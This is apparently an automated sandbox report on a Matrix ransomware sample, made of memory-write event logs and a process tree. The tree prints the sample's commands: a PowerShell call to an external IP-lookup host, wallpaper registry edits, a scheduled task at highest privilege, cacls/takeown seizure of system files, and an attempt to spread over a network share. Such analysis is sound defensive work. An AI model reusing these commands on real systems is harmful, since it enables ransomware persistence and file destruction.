f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1153 PID 3800 wrote to memory of 7736 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1153 PID 7736 wrote to memory of 7912 7736 cmd.exe 1155 PID 7736 wrote to memory of 7912 7736 cmd.exe 1155 PID 7736 wrote to memory of 7912 7736 cmd.exe 1155 PID 7736 wrote to memory of 7800 7736 cmd.exe 1156 PID 7736 wrote to memory of 7800 7736 cmd.exe 1156 PID 7736 wrote to memory of 7800 7736 cmd.exe 1156 PID 7736 wrote to memory of 7932 7736 cmd.exe 1157 PID 7736 wrote to memory of 7932 7736 cmd.exe 1157 PID 7736 wrote to memory of 7932 7736 cmd.exe 1157 PID 7932 wrote to memory of 7796 7932 cmd.exe 1158 PID 7932 wrote to memory of 7796 7932 cmd.exe 1158 PID 7932 wrote to memory of 7796 7932 cmd.exe 1158 PID 7736 wrote to memory of 7948 7736 cmd.exe 1159 PID 7736 wrote to memory of 7948 7736 cmd.exe 1159 PID 7736 wrote to memory of 7948 7736 cmd.exe 1159 PID 3800 wrote to memory of 8104 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1160 PID 3800 wrote to memory of 8104 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1160 PID 3800 wrote to memory of 8104 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1160 PID 8104 wrote to memory of 8124 8104 cmd.exe 1162 PID 8104 wrote to memory of 8124 8104 cmd.exe 1162 PID 8104 wrote to memory of 8124 8104 cmd.exe 1162 PID 8104 wrote to memory of 7872 8104 cmd.exe 1163 PID 8104 wrote to memory of 7872 8104 cmd.exe 1163 PID 8104 wrote to memory of 7872 8104 cmd.exe 1163 PID 8104 wrote to memory of 7676 8104 cmd.exe 1164 PID 8104 wrote to memory of 7676 8104 cmd.exe 1164 PID 8104 wrote to memory of 7676 8104 cmd.exe 1164 PID 7676 wrote to memory of 7856 7676 cmd.exe 1165 PID 7676 wrote to memory of 7856 7676 cmd.exe 1165 PID 7676 wrote to memory of 7856 7676 cmd.exe 1165 PID 8104 wrote to memory of 8180 8104 cmd.exe 1166 PID 8104 wrote to memory of 8180 8104 cmd.exe 1166 PID 8104 wrote to memory of 8180 8104 cmd.exe 1166 PID 3800 wrote to memory of 7192 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1167 PID 3800 wrote to memory of 7192 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1167 PID 3800 wrote to memory of 7192 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1167 PID 7192 wrote to memory of 7712 7192 cmd.exe 1169 PID 7192 wrote to memory of 7712 7192 cmd.exe 1169 PID 7192 wrote to memory of 7712 7192 cmd.exe 1169 PID 7192 wrote to memory of 8056 7192 cmd.exe 1170 PID 7192 wrote to memory of 8056 7192 cmd.exe 1170 PID 7192 wrote to memory of 8056 7192 cmd.exe 1170 PID 7192 wrote to memory of 7380 7192 cmd.exe 1171 PID 7192 wrote to memory of 7380 7192 cmd.exe 1171 PID 7192 wrote to memory of 7380 7192 cmd.exe 1171 PID 7380 wrote to memory of 7476 7380 cmd.exe 1172 PID 7380 wrote to memory of 7476 7380 cmd.exe 1172 PID 7380 wrote to memory of 7476 7380 cmd.exe 1172 PID 7192 wrote to memory of 7500 7192 cmd.exe 1173 PID 7192 wrote to memory of 7500 7192 cmd.exe 1173 PID 7192 wrote to memory of 7500 7192 cmd.exe 1173 PID 3800 wrote to memory of 7400 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1174 PID 3800 wrote to memory of 7400 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1174 PID 3800 wrote to memory of 7400 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1174 PID 7400 wrote to memory of 6424 7400 cmd.exe 1176 PID 7400 wrote to memory of 6424 7400 cmd.exe 1176 PID 7400 wrote to memory of 6424 7400 cmd.exe 1176 PID 7400 wrote to memory of 7848 7400 cmd.exe 1177 PID 7400 wrote to memory of 7848 7400 cmd.exe 1177 PID 7400 wrote to memory of 7848 7400 cmd.exe 1177 PID 7400 wrote to memory of 7964 7400 cmd.exe 1178 PID 7400 wrote to memory of 7964 7400 cmd.exe 1178 PID 7400 wrote to memory of 7964 7400 cmd.exe 1178 PID 7964 wrote to memory of 7776 7964 cmd.exe 1179 PID 7964 wrote to memory of 7776 7964 cmd.exe 1179 PID 7964 wrote to memory of 7776 7964 cmd.exe 1179 PID 7400 wrote to memory of 7816 7400 cmd.exe 1180 PID 7400 wrote to memory of 7816 7400 cmd.exe 1180 PID 7400 wrote to memory of 7816 7400 cmd.exe 1180 PID 3800 wrote to memory of 7620 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1181 PID 3800 wrote to memory of 7620 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1181 PID 3800 wrote to memory of 7620 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1181 PID 7620 wrote to memory of 7992 7620 cmd.exe 1183 PID 7620 wrote to memory of 7992 7620 cmd.exe 1183 PID 7620 wrote to memory of 7992 7620 cmd.exe 1183 PID 7620 wrote to memory of 8148 7620 cmd.exe 1184 PID 7620 wrote to memory of 8148 7620 cmd.exe 1184 PID 7620 wrote to memory of 8148 7620 cmd.exe 1184 PID 7620 wrote to memory of 7876 7620 cmd.exe 1185 PID 7620 wrote to memory of 7876 7620 cmd.exe 1185 PID 7620 wrote to memory of 7876 7620 cmd.exe 1185 PID 7876 wrote to memory of 7320 7876 cmd.exe 1186 PID 7876 wrote to memory of 7320 7876 cmd.exe 1186 PID 7876 wrote to memory of 7320 7876 cmd.exe 1186 PID 7620 wrote to memory of 7996 7620 cmd.exe 1187 PID 7620 wrote to memory of 7996 7620 cmd.exe 1187 PID 7620 wrote to memory of 7996 7620 cmd.exe 1187 PID 3800 wrote to memory of 7248 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1188 PID 3800 wrote to memory of 7248 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1188 PID 3800 wrote to memory of 7248 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1188 PID 7248 wrote to memory of 7544 7248 cmd.exe 1190 PID 7248 wrote to memory of 7544 7248 cmd.exe 1190 PID 7248 wrote to memory of 7544 7248 cmd.exe 1190 PID 7248 wrote to memory of 7244 7248 cmd.exe 1191 PID 7248 wrote to memory of 7244 7248 cmd.exe 1191 PID 7248 wrote to memory of 7244 7248 cmd.exe 1191 PID 7248 wrote to memory of 7368 7248 cmd.exe 1192 PID 7248 wrote to memory of 7368 7248 cmd.exe 1192 PID 7248 wrote to memory of 7368 7248 cmd.exe 1192 PID 7368 wrote to memory of 7276 7368 cmd.exe 1193 PID 7368 wrote to memory of 7276 7368 cmd.exe 1193 PID 7368 wrote to memory of 7276 7368 cmd.exe 1193 PID 7248 wrote to memory of 7304 7248 cmd.exe 1194 PID 7248 wrote to memory of 7304 7248 cmd.exe 1194 PID 7248 wrote to memory of 7304 7248 cmd.exe 1194 PID 3800 wrote to memory of 7644 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1195 PID 3800 wrote to memory of 7644 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1195 PID 3800 wrote to memory of 7644 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1195 PID 7644 wrote to memory of 7732 7644 cmd.exe 1197 PID 7644 wrote to memory of 7732 7644 cmd.exe 1197 PID 7644 wrote to memory of 7732 7644 cmd.exe 1197 PID 7644 wrote to memory of 7592 7644 cmd.exe 1198 PID 7644 wrote to memory of 7592 7644 cmd.exe 1198 PID 7644 wrote to memory of 7592 7644 cmd.exe 1198 PID 7644 wrote to memory of 7316 7644 cmd.exe 1199 PID 7644 wrote to memory of 7316 7644 cmd.exe 1199 PID 7644 wrote to memory of 7316 7644 cmd.exe 1199 PID 7316 wrote to memory of 7452 7316 cmd.exe 1200 PID 7316 wrote to memory of 7452 7316 cmd.exe 1200 PID 7316 wrote to memory of 7452 7316 cmd.exe 1200 PID 7644 wrote to memory of 7672 7644 cmd.exe 1201 PID 7644 wrote to memory of 7672 7644 cmd.exe 1201 PID 7644 wrote to memory of 7672 7644 cmd.exe 1201 PID 3800 wrote to memory of 7312 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1202 PID 3800 wrote to memory of 7312 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1202 PID 3800 wrote to memory of 7312 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1202 PID 7312 wrote to memory of 8100 7312 cmd.exe 1204 PID 7312 wrote to memory of 8100 7312 cmd.exe 1204 PID 7312 wrote to memory of 8100 7312 cmd.exe 1204 PID 7312 wrote to memory of 7612 7312 cmd.exe 1205 PID 7312 wrote to memory of 7612 7312 cmd.exe 1205 PID 7312 wrote to memory of 7612 7312 cmd.exe 1205 PID 7312 wrote to memory of 7704 7312 cmd.exe 1206 PID 7312 wrote to memory of 7704 7312 cmd.exe 1206 PID 7312 wrote to memory of 7704 7312 cmd.exe 1206 PID 7704 wrote to memory of 7488 7704 cmd.exe 1207 PID 7704 wrote to memory of 7488 7704 cmd.exe 1207 PID 7704 wrote to memory of 7488 7704 cmd.exe 1207 PID 7312 wrote to memory of 7460 7312 cmd.exe 1208 PID 7312 wrote to memory of 7460 7312 cmd.exe 1208 PID 7312 wrote to memory of 7460 7312 cmd.exe 1208 PID 3800 wrote to memory of 7508 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1209 PID 3800 wrote to memory of 7508 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1209 PID 3800 wrote to memory of 7508 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1209 PID 7508 wrote to memory of 8064 7508 cmd.exe 1211 PID 7508 wrote to memory of 8064 7508 cmd.exe 1211 PID 7508 wrote to memory of 8064 7508 cmd.exe 1211 PID 7508 wrote to memory of 7976 7508 cmd.exe 1212 PID 7508 wrote to memory of 7976 7508 cmd.exe 1212 PID 7508 wrote to memory of 7976 7508 cmd.exe 1212 PID 7508 wrote to memory of 1528 7508 cmd.exe 1213 PID 7508 wrote to memory of 1528 7508 cmd.exe 1213 PID 7508 wrote to memory of 1528 7508 cmd.exe 1213 PID 1528 wrote to memory of 7384 1528 cmd.exe 1214 PID 1528 wrote to memory of 7384 1528 cmd.exe 1214 PID 1528 wrote to memory of 7384 1528 cmd.exe 1214 PID 7508 wrote to memory of 7408 7508 cmd.exe 1215 PID 7508 wrote to memory of 7408 7508 cmd.exe 1215 PID 7508 wrote to memory of 7408 7508 cmd.exe 1215 PID 3800 wrote to memory of 7760 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1216 PID 3800 wrote to memory of 7760 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1216 PID 3800 wrote to memory of 7760 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1216 PID 7760 wrote to memory of 7812 7760 cmd.exe 1218 PID 7760 wrote to memory of 7812 7760 cmd.exe 1218 PID 7760 wrote to memory of 7812 7760 cmd.exe 1218 PID 7760 wrote to memory of 8040 7760 cmd.exe 1219 PID 7760 wrote to memory of 8040 7760 cmd.exe 1219 PID 7760 wrote to memory of 8040 7760 cmd.exe 1219 PID 7760 wrote to memory of 7252 7760 cmd.exe 1220 PID 7760 wrote to memory of 7252 7760 cmd.exe 1220 PID 7760 wrote to memory of 7252 7760 cmd.exe 1220 PID 7252 wrote to memory of 7484 7252 cmd.exe 1221 PID 7252 wrote to memory of 7484 7252 cmd.exe 1221 PID 7252 wrote to memory of 7484 7252 cmd.exe 1221 PID 7760 wrote to memory of 8164 7760 cmd.exe 1222 PID 7760 wrote to memory of 8164 7760 cmd.exe 1222 PID 7760 wrote to memory of 8164 7760 cmd.exe 1222 PID 3800 wrote to memory of 8140 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1223 PID 3800 wrote to memory of 8140 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1223 PID 3800 wrote to memory of 8140 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 1223 PID 8140 wrote to memory of 7624 8140 cmd.exe 1225 PID 8140 wrote to memory of 7624 8140 cmd.exe 1225 PID 8140 wrote to memory of 7624 8140 cmd.exe 1225 PID 8140 wrote to memory of 7336 8140 cmd.exe 1226 PID 8140 wrote to memory of 7336 8140 cmd.exe 1226 PID 8140 wrote to memory of 7336 8140 cmd.exe 1226 PID 8140 wrote to memory of 8080 8140 cmd.exe 1227 PID 8140 wrote to memory of 8080 8140 cmd.exe 1227 PID 8140 wrote to memory of 8080 8140 cmd.exe 1227 PID 8080 wrote to memory of 4116 8080 cmd.exe 1228 PID 8080 wrote to memory of 4116 8080 cmd.exe 1228 PID 8080 wrote to memory of 4116 8080 cmd.exe 1228 PID 8140 wrote to memory of 7892 8140 cmd.exe 1229 PID 8140 wrote to memory of 7892 8140 cmd.exe 1229 PID 8140 wrote to memory of 7892 8140 cmd.exe 1229 PID 2080 wrote to memory of 7716 2080 NW6U7626.exe 1230 PID 2080 wrote to memory of 7716 2080 NW6U7626.exe 1230 PID 2080 wrote to memory of 7716 2080 NW6U7626.exe 1230 PID 7716 wrote to memory of 7724 7716 NW6U7626.exe 1232 PID 7716 wrote to memory of 7724 7716 NW6U7626.exe 1232 PID 7716 wrote to memory of 7724 7716 NW6U7626.exe 1232 PID 7724 wrote to memory of 2104 7724 cmd.exe 1234 PID 7724 wrote to memory of 2104 7724 cmd.exe 1234 PID 7724 wrote to memory of 2104 7724 cmd.exe 1234
Processes
-
C:\Users\Admin\AppData\Local\Temp\f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe"C:\Users\Admin\AppData\Local\Temp\f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe"1⤵
- Matrix Ransomware
- Modifies extensions of user files
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3800 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe" "C:\Users\Admin\AppData\Local\Temp\NW6U7626.exe"2⤵PID:904
-
-
C:\Users\Admin\AppData\Local\Temp\NW6U7626.exe"C:\Users\Admin\AppData\Local\Temp\NW6U7626.exe" -n2⤵
- Executes dropped EXE
PID:2080 -
C:\Users\Admin\AppData\Local\Temp\NW6U7626.exe"C:\Users\Admin\AppData\Local\Temp\NW6U7626.exe" "\\10.10.0.17\C$"3⤵
- Matrix Ransomware
PID:7716 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\lYqixMvM.txt"4⤵PID:7724
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"5⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2104
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\Ud4n4ipD.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4128 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4172
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\48300cZO.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4320 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\48300cZO.bmp" /f3⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
PID:4452
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵
- Modifies Control Panel
PID:4604
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵
- Modifies Control Panel
PID:4656
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\tL77PTkP.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\tL77PTkP.vbs"3⤵
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\kGMWPppn.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
PID:4700 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\kGMWPppn.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
PID:4768
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
- Suspicious use of WriteProcessMemory
PID:4944 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵PID:5004
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Network\Downloader\qmgr.db""2⤵
- Suspicious use of WriteProcessMemory
PID:4492 -
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Network\Downloader\qmgr.db" /E /G Admin:F /C3⤵PID:4556
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Network\Downloader\qmgr.db"3⤵
- Modifies file permissions
PID:4712
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "qmgr.db" -nobanner3⤵
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "qmgr.db" -nobanner4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4796 -
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr64.exeZPVn0rpr.exe -accepteula "qmgr.db" -nobanner5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Enumerates connected drives
- Modifies service
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:4832
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa""2⤵
- Suspicious use of WriteProcessMemory
PID:4844 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵PID:4920
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk1.8.0_66\jre\bin\server\classes.jsa"3⤵PID:5032
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "classes.jsa" -nobanner3⤵PID:5080
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
PID:5096
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4100
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db""2⤵PID:1424
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db" /E /G Admin:F /C3⤵PID:804
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4120
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "SmsInterceptStore.db" -nobanner3⤵PID:4260
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "SmsInterceptStore.db" -nobanner4⤵
- Executes dropped EXE
PID:4280
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4232
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db""2⤵PID:4216
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db" /E /G Admin:F /C3⤵PID:4220
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db"3⤵PID:4156
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "qmgr.db" -nobanner3⤵PID:4140
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "qmgr.db" -nobanner4⤵
- Executes dropped EXE
PID:4368
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4552
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db""2⤵PID:4648
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db" /E /G Admin:F /C3⤵PID:4380
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db"3⤵PID:4708
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "SmsInterceptStore.db" -nobanner3⤵PID:4740
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "SmsInterceptStore.db" -nobanner4⤵
- Executes dropped EXE
PID:4840
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4812
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa""2⤵PID:5108
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa" /E /G Admin:F /C3⤵PID:1680
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jre1.8.0_66\bin\server\classes.jsa"3⤵
- Modifies file permissions
PID:4896
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "classes.jsa" -nobanner3⤵PID:856
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
PID:3688
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:572
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵PID:4200
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵PID:416
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4160
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "background.png" -nobanner3⤵PID:4460
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "background.png" -nobanner4⤵
- Executes dropped EXE
PID:4456
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4176
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKPOINTDATA.xml""2⤵PID:4204
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKPOINTDATA.xml" /E /G Admin:F /C3⤵PID:4788
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKPOINTDATA.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4808
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "WINDOWS.PERFTRACKPOINTDATA.xml" -nobanner3⤵PID:4820
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "WINDOWS.PERFTRACKPOINTDATA.xml" -nobanner4⤵
- Executes dropped EXE
PID:4324
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:4744
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml""2⤵PID:284
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml" /E /G Admin:F /C3⤵PID:4736
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4364
-
-
